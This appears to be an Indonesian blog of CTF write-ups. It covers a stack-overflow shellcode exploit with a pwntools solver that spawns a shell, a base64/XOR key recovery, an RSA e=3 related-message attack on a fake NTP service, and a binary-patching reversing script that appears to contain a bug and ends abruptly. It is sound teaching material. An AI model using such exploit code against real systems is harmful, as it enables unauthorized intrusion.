Senin, 30 April 2018

Write Up Binary Exploit BTP - Byte Checker(300)

Made with Remarkable! Diberikan binary dengan atribut sebagai berikut.
a@a-l ~/joints/chek $ file checker_b6511e7fde4f5bc1d31ba017af24ffc4 
checker_b6511e7fde4f5bc1d31ba017af24ffc4: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=6df8cbba571d937fe1de0d4cbd94240a2b80bba6, not stripped
a@a-l ~/joints/chek $ checksec checker_b6511e7fde4f5bc1d31ba017af24ffc4 

[*] '/home/a/joints/chek/checker_b6511e7fde4f5bc1d31ba017af24ffc4'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
Berikut adalah dua fungsi yang penting didalam program
Fungsi main
int __cdecl main(int argc, const char **argv, const char **envp)
{
  signed int i; // [esp+1Ch] [ebp-4h]

  alarm(30);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  printf(
    ">>> To get flag, read 'flag.txt'. Buffer address = %p\n>>> Feed me something delicious: \n",
    (unsigned int)buffer);
  count = read(0, buffer, 512);
  if ( count & 7 )
  {
    printf(">>> Length of message must be multiple of 8 bytes (got %d bytes)\n", count);
    exit(1);
  }
  for ( i = 1; 8 * i - 1 < count; ++i )
  {
    if ( buffer[8 * i - 1] != i )
    {
      printf(">>> byte at %d should be 0x%02x got 0x%02x\n", 8 * i - 1, i, (unsigned __int8)buffer[8 * i - 1]);
      exit(1);
    }
  }
  overflow(count);
  puts(">>> OK, but you need to exploit this");
  return 0;
}
Fungsi Overflow
int overflow()
{
  int i; // ebx
  int result; // eax
  char v2[132]; // [esp+0h] [ebp-84h]

  for ( i = 0; ; ++i )
  {
    result = count;
    if ( i >= count )
      break;
    v2[i] = buffer[i];
  }
  return result;
}
Binary meminta input dengan maksimal 512 byte. Didalam fungsi main, input dicek dengan beberapa konstrain berikut.
1. Panjang input harus kelipatan 8. Panjang input dihitung dengan return value dari read sehingga panjang input tidak dapat dibypass.
2. Setiap ujung dari kelipatan 8 byte, merupakan nilai urutan kelipatan tersebut. Jika Kelipatan pertama maka ujung dari 8 byte tersebut adalah ‘\x01’
Terdapat celah overflow pada binary tersebut pada fungsi overflow. Buffer 0x84 + 4. Karena pada eip overflow masih berada pada urutan 0 - 4 byte pertama maka tidak ada konstrain, sehingga kita dapat loncat ke alamat manapun pada memori.
Karena binary memiliki executable segment, kita juga dapat melakukan eksekusi shellcode di alamat bss + stack.
Berikut data register sesaat sebelum fungsi loncat ke saved eip.
EAX: 0x90 
EBX: 0x11111111 
ECX: 0x80ebf40 --> 0x1010101 
EDX: 0x200 
ESI: 0x0 
EDI: 0x80ea00c --> 0x8067b90 (<__stpcpy_sse2>:  mov    edx,DWORD PTR [esp+0x4])
EBP: 0x11111111 
ESP: 0xffaa09fc --> 0x80ebf6c --> 0x6565152 
Alamat yang berada pada ecx adalah alamat input.
Dengan beberapa celah tersebut maka kita akan coba susun payload eksploit.
Yang terpikirkan oleh saya adalah mengeksekusi read untuk kembali mengisi shellcode yang sebenarnya ke alamat bss, dan loncat kembali ke bss. Saya rasa itu lebih mudah dibandingkan harus membuat shellcode sendiri.
Namun untuk memenuhi konstrain kelipatan keberapa, kita harus menambahkan shellcode kita dengan beberapa padding yang memenuhi.
Dengan menggenerate menggunakan skrip sederhana kita dapat mendapatkan opcode yang mungkin memenuhi.
.
0x6    0:   06                      push   es
0x7    0:   07                      pop    es
.
Berikut hasil eksekusi shellcode yang kami buat.
gdb-peda$ x/100i 0x80ebf6c
=> 0x80ebf6c <buffer+44>:   push   edx
   0x80ebf6d <buffer+45>:   push   ecx
   0x80ebf6e <buffer+46>:   push   esi
   0x80ebf6f <buffer+47>:   push   es ; padding '\x06' karena urutan ke 6
   0x80ebf70 <buffer+48>:   pop    es ; pop kembali agar stack tidak rusak
   0x80ebf71 <buffer+49>:   mov    eax,0x806d140
   0x80ebf76 <buffer+54>:   push   es ; di push terlebih dahulu agar tidak rusak
   0x80ebf77 <buffer+55>:   pop    es ; padding '\x07' karena urutan ke 8
   0x80ebf78 <buffer+56>:   call   eax ; panggil read
   0x80ebf7a <buffer+58>:   jmp    ecx ; loncat ke shellcode
   0x80ebf7c <buffer+60>:   nop
   0x80ebf7d <buffer+61>:   nop
   0x80ebf7e <buffer+62>:   nop
Berikut solver.py
from pwn import *
from sys import *
from time import *
p = process("./checker_b6511e7fde4f5bc1d31ba017af24ffc4")
# p = connect("35.197.134.203", 8031)

cmd = "b *0x08048E4C"

if(len(argv) == 3):
    gdb.attach(p, cmd)
    sleep(1)


pload = ''

# padding awal agar didapat kelipatan 6 di selanjutnya
for i in range(1, 6):
    pload +=  chr(i) * 7
    pload +=  chr(i)

        # padding + popedx + popecx +popesi + pad   
pload += "\x05" * 4 + "\x52\x51\x56" + "\x06"
        # mov eax, alamat_fungsi_read + pad lagi
pload += "\x07\xb8@\xd1\x06\x08" + "\x06\x07"
        #call eax ; panggil read
pload += "\xff\xd0"
        # jmp ecx ; alamat shellcode ada sudah berada di ecx
pload += "\xff"
pload += "\xe1"
pload += "\x90" * 3
pload += "\x08"

# padding
for i in range(9, 18):
    pload +=  chr(i) * 7
    pload +=  chr(i)

#alamat shellcode diaturh
pload += p32(0x80ebf6c)

# padding
pload += p32(0x1206D140)

print len(pload)
print len(pload) % 8
p.send(pload)
sh = asm(shellcraft.sh())
# kirim shellcode yang sesungguhnya
p.sendline(sh)
p.interactive()
Mari kita coba jalankan dengan semangat
>>> To get flag, read 'flag.txt'. Buffer address = 0x80ebf40
>>> Feed me something delicious: 
$ ls
cek.py
checker_b6511e7fde4f5bc1d31ba017af24ffc4
checker_b6511e7fde4f5bc1d31ba017af24ffc4.id0
checker_b6511e7fde4f5bc1d31ba017af24ffc4.id1
checker_b6511e7fde4f5bc1d31ba017af24ffc4.id2
checker_b6511e7fde4f5bc1d31ba017af24ffc4.nam
checker_b6511e7fde4f5bc1d31ba017af24ffc4.til
core
log
peda-session-checker_b6511e7fde4f5bc1d31ba017af24ffc4.txt
solve.py
$ id
uid=1000(a) gid=1000(a) groups=1000(a),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),130(sambashare)

Senin, 29 Januari 2018

Write up In CTF - Giant XOR

writeup

inctf - GiantXOR

Deskripsi Soal

Diberikan source code encrypt.py dan ciphertext.txt dalam hexadecimal encode. Berikut isi dari kedua file tersebut.
encrypt.py
from os import urandom
import string

key = ""

def get_key(keylength):
    global key
    c = urandom(1)
    if len(key)!=keylength:
        if c in string.printable and c not in string.whitespace:
            key += c
            get_key(keylength)
        else:
            get_key(keylength)

def multiplyKey(pt, k):
    while len(k) < len(pt):
        k += k
    k = k[:len(pt)]
    return k

def encrypt(plaintext, k):
    ciphertext = ""
    plaintext = plaintext.encode("base64")
    k = multiplyKey(plaintext, k)
    assert len(k) == len(plaintext)
    for i in range(len(plaintext)):
        ciphertext += chr(ord(plaintext[i]) ^ ord(k[i]))
    return ciphertext.encode("hex")

secret_flag = open("plaintext.txt",'r').read().strip()
keylength = int(open("keylength.txt",'r').read().strip())

get_key(keylength)

print "key: ", key
print "keylength: ", keylength

ciphertext = encrypt(secret_flag, key)

object1 = open("ciphertext.txt",'w').write(ciphertext)
ciphertext
6e19223f204b31183e333f005c122d37264a350e3e3c2808672436250b3f3d1b2e2c151c671d553e182b4713262c3f045c1d553e0b3f391c1449385d7309223c20153d022d3c011a673322394822242e0118003a5a1333123b222b361b22353d5110231230222b1f102c28566e03281a2e21240c041e3e2d491337022e313b26181a3a5a532919122a31343e071f2e2d4928531a2e31342607713702673a3963140b1737001c0f5c742d3a172e133a331b4b3d167f090418210b3a31390d0f025933390810023a334e0e2427733c021818081119141c0928552629170c172a230f08373808246a0a113d142645421b357e0853327132013d2439243565000c190514093d3f171b0b6503070a2f001b2e0d140a0e6a7f0a340522442d1a3d17356913500870290b2e31435d0d7a32061e70101f7e2f495d5f6730263a1a4b39042d49055f6d79506d48

Solusi

Jika kita lihat dari encrypt.py, program mengenkrip plaintext dengan alur berikut.
  1. Plaintext dijadikan base64 terlebih dahulu
  2. Hasil dari base64 plain, dilakukan multiple xor dengan key printable string dari urandom dengan panjang key yang tidak diketahui.
Kesulitan dari soal ini adalah plaintext diubah menjadi base64 sehingga kita tidak dapat menggunakan xortool secara langsung untuk mendecrypt ciphertext dan mencari key. Karena itu kita akan mencoba memecahkannya secara manual.
Untuk mendekript ini, kita harus mencari panjang key nya terlebih dahulu. Panjang key dapat diketahui dengan menggunakan hamming distance. Berikut script hamming distance yang digunakan untuk mencari length key.
#! /usr/bin/env python

from binascii import b2a_hex

def hamming_distance(A, B):
  X = int(b2a_hex(A),16) ^ int(b2a_hex(B),16)
  return count_binary_ones(X)

def count_binary_ones(X):
  ret = 0
  while X != 0:
    ret = ret + 1
    X &= X-1  
  return ret

def normalized_hamming_distance (A, length): # Takes adjacent groups of 'length' length and finds avg hamming dist and normalizes it
  ham_sum = 0
  for i in range(len(A)/length - 1):
    ham_sum += hamming_distance(A[(i+0)*length:(i+1)*length], A[(i+1)*length:(i+2)*length])
  ham_avg = (1.0 * ham_sum) / (len(A)/length - 1)
  norm_ham = ham_avg / length
  return norm_ham

def test():
  if hamming_distance("this is a test","wokka wokka!!!") == 37:
    print "Hamming Distance tests pass"
  if normalized_hamming_distance("this is a testwokka wokka!!!",14) == 37.0/14:
    print "Normalized Hamming Distance tests pass"


data = ""
filename = 'ciphertext.txt'
filename = open(filename).read()
data = filename.decode('hex')
test()
best_hamming_dist = float('inf')
for KEYSIZE in range(2,80):
  ham = normalized_hamming_distance(data,KEYSIZE)
  if ham < best_hamming_dist:
    best_hamming_dist = ham
    best_keysize = KEYSIZE

KEYSIZE = best_keysize

print "[#] Inferred KEYSIZE = " + str(KEYSIZE)
Hasil
a@a-l ~/CTF/inctf/giantxor $ python hd.py 
Hamming Distance tests pass
Normalized Hamming Distance tests pass
[#] Inferred KEYSIZE = 12
Dari script didapat panjang key adalah 12 karakter. Ide selanjut nya kita harus menebak key dari ciphertext yang sudah ada. Kita tidak dapat menggunakan frequency english letter pada plaintext, karena string di encode menggunakan base64. Kita coba cara lain, yaitu dengan melakukan bruteforce, perhuruf pada key. Berikut alur bruteforce tersebut.
misal 
key = "sesuatu" 
cipher = cipher

brute key ke 0. xor key ke 0 dengan semua cipher[0 + j*12]
kalo semua hasil nya masuk ke base64 tambah key

brute key ke i. xor key ke i dengan semua cipher[i + j*12]
kalo semua hasil nya masuk ke base64 tambah key.

lakukan sampai semua key memenuhi syarat tersebut
Menggunakan rekursif sederhana key dapat diketahui. Jika kita sudah mendapatkan key. Lakukan multiple xor dengan cipher text. dan didapatkan plaintext.
Berikut script untuk mencari kunci sekaligus mendecrypt ciphertext
import string 
from base64 import *
base64str = string.ascii_letters + string.digits + "=+/" + "\n"
prstring = string.printable

def multiplexor(cipher, key):
 hasil = ""
 for i in range(len(cipher)):
  hasil += chr( ord(cipher[i]) ^ ord(key[i % 12]))
 return hasil

def valid(key_index, ch): 
 # Cek semua hasil xor jika ada yang bukan merupakan string base64 return 0
 for index in range(key_index, len(data), 12):
  if( chr(ord(data[index]) ^ ord(ch)) not in base64str ):
   return 0
 return 1 

def findkey_rec(data, block, level, part):
 if (level == part):

  for ch in prstring:
   if valid(block + level, ch) :
    key.append(ch)
    part_key = ''.join(key)
    global password
    password += part_key
    return part_key
    # Password ketemu
 for ch in prstring:
  if valid(block + level, ch) :
   key.append(ch)
   findkey_rec(data, block, level + 1, part)
   key.pop()


data = open("ciphertext.txt").read()
data = data.decode('hex')

key = []
password = ""
part = 6

# Part dilakukan untuk mendapatkan key perblock.

for block in range(0, 12, part+1):
 key = []
 findkey_rec(data, block, 0, part) 

hasil = multiplexor(data, password)
print "Base64 plain :\n\n%s" % hasil

print "Plain : %s" % b64decode(hasil)
Berikut hasil dekripsi ciphertext
Base64 plain :

SSBob3BlIHRoaXMgd2FzIGEgZnVuIGNoYWxsZW5nZS4gQWRkaW5nIGJhc2U2NCBlbmNvZGluZyBi
ZWZvcmUgYSByZXBlYXRlZCBrZXkgWE9SIHJlYWxseSBtYWRlIHRoaW5ncyBhIGJpdCBtb3JlIGRp
ZmZpY3VsdCwgb3IgZGlkIGl0PyBCdHcsIENvbmdyYXRzIG9uIHNvbHZpbmcgdGhlIGNoYWxsZW5n
ZSEgR29vZCB3b3JrISBIZXJlIGlzIHlvdXIgZmxhZzogaW5jdGZ7YmFzZTY0X2QxZF80bGxfN2hl
X200ZzFjX3JpZ2h0P30=

Plain : I hope this was a fun challenge. Adding base64 encoding before a repeated key XOR really made things a bit more difficult, or did it? Btw, Congrats on solving the challenge! Good work! Here is your flag: inctf{base64_d1d_4ll_7he_m4g1c_right?}
FLAG : inctf{base64_d1d_4ll_7he_m4g1c_right?}

Selasa, 16 Januari 2018

Write up TUCTF - Crypto Clock

readme

TUCTF - Crypto Clock (300 pts)

Deskripsi soal

These damn hackers have hit our NTP server with something called crypto clock...

Our sysadmin found these suspicious packets just before our systems went down.

Can you get back in???

nc cryptoclock.tuctf.com 1230

MD5 (network_dump) = bdfcfee713b6ad53f4923f96863e385c

UPDATE: The server side code is running Python 2

Solusi

Diberikan koneksi socat dan sebuah file pcap. Ketika file pcap diekstrak didapatkan string base64 encode yang sepertinya merupakan source dari program socat tersebut.

Berikut adalah source code dari program tersebut

#!/usr/bin/env python
import sys
import random
import arrow

big_1=44125640252420890531874960299151489144331823129767199713521591380666658119888039423611193245874268914543544757701212460841500066756559202618153643704131510144412854121922874915334989288095965983299150884589072558175944926880089918837606946144787884895502736057098445881755704071137014578861355153558L
big_2=66696868460135246134548422790675846019514082280010222055190431834695902320690870624800896599876321653748703472303898494328735060007496463688173184134683195070014971393479052888965363156438222430598115999221042866547813179681064777805881205219874282594291769479529691352248899548787766385840180279125343043041L


flag = "THEFLAG"
keys = {
    "n":142592923782837889588057810280074407737423643916040668869726059762141765501708356840348112967723017380491537652089235085114921790608646587431612689308433796755742900776477504777927984318043841155548537514797656674327871309567995961808817111092091178333559727506289043092271411929507972666960139142195351097141,
    "e": 3
}

#now to get some randomness in here!
with open('/dev/urandom', 'rb') as f:
    rand = f.read(8)

rand_int = int(rand.encode('hex'),16)

#now lets use something easier.
random.seed(rand_int)

offset = random.randint(big_1,big_2)

while True:
    sys.stdout.write( '''Welcome to the ntp server
What would you like to do?
    1) get current time
    2) enter admin area
    3) exit
:''')
    sys.stdout.flush()
    response = raw_input('')
    if response == '1':
        time = arrow.utcnow().timestamp + offset
        enc_time = pow(time,keys['e'],keys['n'])
        sys.stdout.write('HAHAHAHAHAHA, this NTP server has been taken over by hackers!!!\n')
        sys.stdout.write('here is the time encrypted with sweet RSA!\n')
        sys.stdout.write(str(enc_time))
        sys.stdout.write('\n')
        sys.stdout.flush()
    elif response == '2':
        # lets get even more random!
        time = arrow.utcnow().timestamp + offset
        random.seed(time)
        guessing_int = random.randint(0,999999999999)
        sys.stdout.write('''ACCESS IS ONLY FOR TRUE HACKERS!
to prove you are a true hacker, predict the future:''')
        sys.stdout.flush()
        response = raw_input('')
        if response == str(guessing_int):
            sys.stdout.write('''Wow, guess you are a hacker.\n''')
            sys.stdout.write(flag)
            sys.stdout.write('\n')
            break
        else:
            sys.stdout.write('''I knew you weren't a hacker''')
            sys.stdout.write('\n')
            break
    else:
        print 'Good by.'
        break

Kita coba jalankan program tersebut di lokal.

Welcome to the ntp server
What would you like to do?
    1) get current time
    2) enter admin area
    3) exit
:1
HAHAHAHAHAHA, this NTP server has been taken over by hackers!!!
here is the time encrypted with sweet RSA!
65591483448351902802226912239888261427877913051459257537112647909433135321660465779739007818787246507102769966318792178070355998594386277071706789962602338898599051561589547815383532059656459033598538670267245423729643879149408096186929277608549861896324902862127612063620348480277444341149873394682980975464
Welcome to the ntp server
What would you like to do?
    1) get current time
    2) enter admin area
    3) exit
:2
ACCESS IS ONLY FOR TRUE HACKERS!
to prove you are a true hacker, predict the future:1337
I knew you weren't a hacker

Sebelum program tersebut dijalankan, program akan menggenerate variabel random antara byte1 dan byte2 dengan 8 byte seed dari urandom.

with open('/dev/urandom', 'rb') as f:
    rand = f.read(8)

rand_int = int(rand.encode('hex'),16)

#now lets use something easier.
random.seed(rand_int)

offset = random.randint(big_1,big_2)

Terdapat 3 pilihan. Jika kita memilih 1, program akan mengoutput nilai enc_time yang merupakan hasil RSA encyript dengan plain = utcnow + offset, dengan e = 3, dan n = 142592923782837889588057810280074407737423643916040668869726059762141765501708356840348112967723017380491537652089235085114921790608646587431612689308433796755742900776477504777927984318043841155548537514797656674327871309567995961808817111092091178333559727506289043092271411929507972666960139142195351097141;

Karena bilangan n yang besar, n tidak dapat difaktorkan dengan menggunakan faktor db.

if response == '1':
        time = arrow.utcnow().timestamp + offset
        enc_time = pow(time,keys['e'],keys['n'])
        sys.stdout.write(str(enc_time))

Pada pilihan kedua nilai enctime saat ini, dijadikan randomseed. Lalu program menggenerate nilai random yang harus kita tebak. Jika kita berhasil menebak angka random tersebut kita akan mendapatkan flag.

elif response == '2':
        # lets get even more random!
        time = arrow.utcnow().timestamp + offset
        random.seed(time)
        guessing_int = random.randint(0,999999999999)
        response = raw_input('')
        if response == str(guessing_int):
            sys.stdout.write(flag)

Inti dari challange ini adalah kita harus menebak berapa offset random yang di generate oleh program. Kita coba analisis dari sistem enkripsi RSA pada pilihan 1.

Jika kita lihat time yang diencrypt

time = arrow.utcnow().timestamp + offset

time akan bertambah satu setiap detik.

Kita misalkan time stamp saat ini adalah ts

time0 = ts + offset
time1 = ts + offset + 1
time2 = ts + offset + 2
time3 = ts + offset + 3
.
.
.

Kita coba ringkas lagi. ts + offset menjadi tso

time0 = tso
time1 = tso + 1
time2 = tso + 2
time3 = tso + 3
.
.

Dapat diliat pola dari plaintext linier. Sehingga kita dapat mendapatkan nilai tso tanpa mencari private key, yaitu dengan menggunakan Franklin Reiter Attack

Kita coba buat enkripsi RSA menjadi sebuah persamaan polinomial dengan derajat 3 karena e = 3.

enctime0 = RSA(time0, 3, n) = (tso)**3 % n
enctime1 = RSA(time1, 3, n) = (tso + 1)**3 % n =( tso**3 + 3 * tso**2 + 3  * tso + 1 ) % n
enctime2 = RSA(time2, 3, n) = (tso + 2)**3 % n =( tso**3 + 6 * tso**2 + 12 * tso + 4 ) % n
enctime3 = RSA(time3, 3, n) = (tso + 3)**3 % n =( tso**3 + 9 * tso**2 + 27 * tso + 9 ) % n

Jika kita manipulasi keempat persamaan tersebut secara manual. Dapat diperoleh persamaan dengan derajat 1. Contohnya seperti berikut.

enctime3 + enctime0 - enctime1 - enctime2 = (12 * tso + 18 ) % n

Karena persamaan sudah terlihat linier, maka kita dapat mencari nilai tso dengan mudah. Bisa dengan gmpy atau kita coba manual.

Jika kita mengetahui nilai tso, kita dapat menggenerate nilai offset dan menggenerate nilai random yang sama dengan yang dibuat oleh program.

Berikut script untuk mendapatkan flag

import random
import arrow
import time
from pwn import *
from sys import *

keys = {
    "n":142592923782837889588057810280074407737423643916040668869726059762141765501708356840348112967723017380491537652089235085114921790608646587431612689308433796755742900776477504777927984318043841155548537514797656674327871309567995961808817111092091178333559727506289043092271411929507972666960139142195351097141,
    "e": 3
}


def getcur():
 p.sendline('1')
 p.recvuntil('RSA!\n')
 return eval(p.recvline().strip())

def getdata():
 for i in range(4):
  if i == 0:
   firsttime.append(arrow.utcnow().timestamp)
   # ambil time awal
  enctime.append(getcur())
  # print enctime[i]
  # print
  sleep(1)

def compute():
 # enctime3 + enctime0 - enctime1 - enctime2 = (12 * tso + 18 ) % n

 totalenc = enctime[3] + enctime[0] - enctime[1] - enctime[2] - 18
 totalenc = totalenc % keys['n']
 while totalenc % 12 != 0:
  totalenc += keys['n']
 # bruteforce manual mencari kelipatan 12
 tso = (totalenc/12) % keys['n']
 
 offset = tso - firsttime[0]

 assert enctime[0] == pow(firsttime[0]+offset, 3, keys['n'])
 # print enctime[0], pow(firsttime+offset, 3, keys['n'])
 # cek manual enc time dengan enc sistem
 return offset

def attack(offset):
 time = arrow.utcnow().timestamp + offset
 print offset
 p.sendline('2')
 random.seed(time)
 guessing_int = random.randint(0,999999999999)
 p.sendline(str(guessing_int))
 p.interactive()
 # print anything


enctime = []

p = process('./soal.py')
firsttime = []
getdata()
offset = compute()
attack(offset)

Mati kita coba jalankan dengan semangat

a@a-l ~/CTF/tuctf/crypto/cryptoclock $ python solve.py 
[+] Starting local process './soal.py': pid 8101
55969035464709264574317945966340530441212223514033774913384027420606040108552999045539910802429093186897367580038431282346833841212343691474112849644573699358976007547301899048552330679832668433949084639764634834550486404163431865278602312818657312396033813763706085140312567944945436838398692227407066593980
[*] Switching to interactive mode
Welcome to the ntp server
What would you like to do?
    1) get current time
    2) enter admin area
    3) exit
:ACCESS IS ONLY FOR TRUE HACKERS!
to prove you are a true hacker, predict the future:Wow, guess you are a hacker.
THEFLAG
[*] Got EOF while reading in interactive
$ 
[*] Process './soal.py' stopped with exit code 0 (pid 8101)

Bahan referensi : RSA Paper

Rabu, 06 Desember 2017

Write Up Resqua - Reversing. Hacktoday.

Write Up CTF - Resqua

Write Up CTF Hacktoday - Reversing : Resqua

Binary dapat didownload disini https://gist.github.com/alfakatsuki/2544d829b8e0782802cd1e20fa153b75

Diberikan binary dengan spesifikasi berikut

alfakatsuki@Ubuntu ~/C/H/2/r/resqua> file resqua
resqua: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=9b1245d862484ea5086e05c670d9ef40e312a05e, not stripped

alfakatsuki@Ubuntu ~/C/H/2/r/resqua> ./resqua 
Enter a valid serial number: 1 1 1 1 1
Wrong format!

Binary tersebut meminta input berbentuk serial number. Lebih jelas mari kita coba lihat decompile dari binary tersebut di IDA.

Berikut adalah decompile dari fungsi main

// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  unlock(*(_QWORD *)&argc, argv, envp);
  ((void (*)(void))run)();
  return 0;
}

Berikut adalah pseudocode dari fungsi unlock

int unlock()
{
  signed __int64 v0; // ST20_8
  __int64 v1; // ST30_8
  signed int i; // [rsp+4h] [rbp-3Ch]
  int v4; // [rsp+14h] [rbp-2Ch]
  void *addr; // [rsp+38h] [rbp-8h]

  v0 = *(signed int *)byte_400009 + 0x400000LL;
  v1 = sysconf(30);
  addr = (void *)(-v1 & v0);
  v4 = *(_DWORD *)byte_400009 + *(signed __int16 *)&byte_400009[4] + 0x400000 - (-(signed int)v1 & v0);
  mprotect(addr, v4, 7);
  for ( i = 0; i < *(signed __int16 *)&byte_400009[4]; ++i )
    *((_BYTE *)&dword_400000 + *(signed int *)byte_400009 + i) ^= *((_BYTE *)&dword_400000 + i % 3 + 1);
  return mprotect(addr, v4, 5);
}

Yang menarik dari program ini adalah program tersebut adalah opcode dari fungsi run yang terenkripsi dan akan di dekripsi saat fungsi unlock dijalankan. Ketika fungsi unlock sudah dijalankan binary baru akan mengeksekusi pertintah yang sebenarnya pada fungsi run.

Kita coba lihat di IDA terdapat segment .lock dimana terdapat fungsi run() dan fungsi c() yang assembly code nya terenkripsi.

.lock:0x0000000000400992 ; ------------------
.
.
.lock:0x0000000000400BA0 ; ----------------
.

Dengan menggunakan GDB. Kita coba break program setelah program menjalankan fungsi unlock(). Kita coba break pada 0x0000000000400903. Sebelumnya kita coba break di main untuk melihat opcode yang masih terenkripsi.

gdb-peda$ x/100gx 0x400992
0x400992 <c>: 0xcda93bc5a0cf0410 0x42394c45421aa93b
0x4009a2 <c+16>: 0x816fae464c4546f4 0x46ae464c4547b000
0x4009b2 <c+32>: 0x00c5a0006fb000cd 0xb63345aa31c644b0
0x4009c2 <c+48>: 0x4385d24345aa31c6 0xa0cf0410851185f0
0x4009d2 <run+4>: 0x42c70d22cc81c504 0x09cc0e4c45466460
0x4009e2 <run+20>: 0x450647fdf98c74be 0xba30ad464c4546f4
0x4009f2 <run+36>: 0xc50da609c80eb3ba 0xc80eb3babaecad81
0x400a02 <run+52>: 0xba08ad81c50da609 0x543055b4c60eb3ba
0x400a12 <run+68>: 0x55336179a209f349 0x4e39687aa500f043
0x400a22 <run+84>: 0x43316b70ab03fa4a 0xb94aa445064793f9
0x400a32 <run+100>: 0x814c45471facb9b3 0x6aae464c4546c000
0x400a42 <run+116>: 0x01f043dd0ec000cd 0xb6f351337c79a649
0x400a52 <run+132>: 0xb3babdaaad460c4e 0xb93aa445464c44f9
.
.
.

Berikut adalah opcode dari binary yang telah di dekripsi dan telah dijalankan.

0x400992 <c>: 0x81ec7d89e5894855 0x077f00000456ec7d
0x4009a2 <c+16>: 0xc723eb00000000b8 0x0aeb00000001fc45
0x4009b2 <c+32>: 0x4583ec4529fc458b 0xf07f00ec7d8302fc
0x4009c2 <c+48>: 0x0fc0940f00ec7d83 0xe5894855c35dc0b6
0x4009d2 <run+4>: 0x048b486480c48348 0x4589480000002825
0x4009e2 <run+20>: 0x00400bb8bfc031f8 0xfc7ce800000000b8
0x4009f2 <run+36>: 0x8948e0458d48ffff 0x8d48fffffca0e8c7
0x400a02 <run+52>: 0xfc44e8c78948e045 0x187513f88348ffff
0x400a12 <run+68>: 0x10752d3ce445b60f 0x08752d3ce945b60f
0x400a22 <run+84>: 0x0f742d3cee45b60f 0xfc0ce800400bd6bf
0x400a32 <run+100>: 0xc700000153e9ffff 0x26eb000000008c45
0x400a42 <run+116>: 0x44b60f98488c458b 0xf0bf1475303ce005
0x400a52 <run+132>: 0xfffffbe6e800400b 0xfc7ce800000001bf
0x400a62 <run+148>: 0x7d83018c4583ffff 0xe04d8d48d47e138c
0x400a72 <run+164>: 0x000004baa0458d48 0xe8c78948ce894800
0x400a82 <run+180>: 0x00a445c6fffffbaa 0x05488d48e0458d48
0x400a92 <run+196>: 0x000004bab0458d48 0xe8c78948ce894800
0x400aa2 <run+212>: 0x00b445c6fffffb8a 0x0a488d48e0458d48
0x400ab2 <run+228>: 0x000004bac0458d48 0xe8c78948ce894800
0x400ac2 <run+244>: 0x00c445c6fffffb6a 0x0f488d48e0458d48
0x400ad2 <run+260>: 0x000004bad0458d48 0xe8c78948ce894800
0x400ae2 <run+276>: 0x00d445c6fffffb4a 0xe8c78948a0458d48
0x400af2 <run+292>: 0x48904589fffffbda 0xcbe8c78948b0458d
0x400b02 <run+308>: 0x8d48944589fffffb 0xfbbce8c78948c045
0x400b12 <run+324>: 0x458d48984589ffff 0xfffbade8c78948d0
0x400b22 <run+340>: 0x8990458b9c4589ff 0xc085fffffe62e8c7
0x400b32 <run+356>: 0xe8c78994458b4e74 0x4074c085fffffe54
0x400b42 <run+372>: 0xfe46e8c78998458b 0x458b3274c085ffff
0x400b52 <run+388>: 0xfffffe38e8c7899c 0x3b90458b2474c085
0x400b62 <run+404>: 0x3b94458b1c7d9445 0x3b98458b147d9845
0x400b72 <run+420>: 0x400c10bf0c7d9c45 0x0aebfffffac0e800
0x400b82 <run+436>: 0xfab4e800400bf0bf 0x4864f8458b48ffff
0x400b92 <run+452>: 0x7400000028250433 0xc3c9fffffac0e805

Binary ini dapat dianalisis langsung melalui disassemblynya. Namun kita coba cara lain yaitu dengan melakukan patch pada binary agar binary dapat di decompile dengan opcode yang benar.

Berikut adalah skrip yang digunakan untuk melakukan patching pada binary

from pwn import *
from sys import *

binary = open('resqua').read()

# Cari opcode ini untuk dipatch
cari = p64(0xcda93bc5a0cf0410)

realopcode = [0x81ec7d89e5894855 ,0x077f00000456ec7d ,0xc723eb00000000b8 ,0x0aeb00000001fc45 ,0x4583ec4529fc458b ,0xf07f00ec7d8302fc ,0x0fc0940f00ec7d83 ,0xe5894855c35dc0b6 ,0x048b486480c48348 ,0x4589480000002825 ,0x00400bb8bfc031f8 ,0xfc7ce800000000b8 ,0x8948e0458d48ffff ,0x8d48fffffca0e8c7 ,0xfc44e8c78948e045 ,0x187513f88348ffff ,0x10752d3ce445b60f ,0x08752d3ce945b60f ,0x0f742d3cee45b60f ,0xfc0ce800400bd6bf ,0xc700000153e9ffff ,0x26eb000000008c45 ,0x44b60f98488c458b ,0xf0bf1475303ce005 ,0xfffffbe6e800400b ,0xfc7ce800000001bf ,0x7d83018c4583ffff ,0xe04d8d48d47e138c ,0x000004baa0458d48 ,0xe8c78948ce894800 ,0x00a445c6fffffbaa ,0x05488d48e0458d48 ,0x000004bab0458d48 ,0xe8c78948ce894800 ,0x00b445c6fffffb8a ,0x0a488d48e0458d48 ,0x000004bac0458d48 ,0xe8c78948ce894800 ,0x00c445c6fffffb6a ,0x0f488d48e0458d48 ,0x000004bad0458d48 ,0xe8c78948ce894800 ,0x00d445c6fffffb4a ,0xe8c78948a0458d48 ,0x48904589fffffbda ,0xcbe8c78948b0458d ,0x8d48944589fffffb ,0xfbbce8c78948c045 ,0x458d48984589ffff ,0xfffbade8c78948d0 ,0x8990458b9c4589ff ,0xc085fffffe62e8c7 ,0xe8c78994458b4e74 ,0x4074c085fffffe54 ,0xfe46e8c78998458b ,0x458b3274c085ffff ,0xfffffe38e8c7899c ,0x3b90458b2474c085 ,0x3b94458b1c7d9445 ,0x3b98458b147d9845 ,0x400c10bf0c7d9c45 ,0x0aebfffffac0e800 ,0xfab4e800400bf0bf ,0x4864f8458b48ffff ,0x7400000028250433 ,0xc3c9fffffac0e805 ]

real_opcode = ""
for i in realopcode:
 real_opcode += p64(i)

# cari opcode
start_patch = 0
for i in range(len(binary)):
 if(cari == binary[i:i+8]):
  # print "ketemu"

  start_patch = i
  break

# Mulai patching
binary = list(binary)

for i in real_opcode:
 binary[start_patch] = i
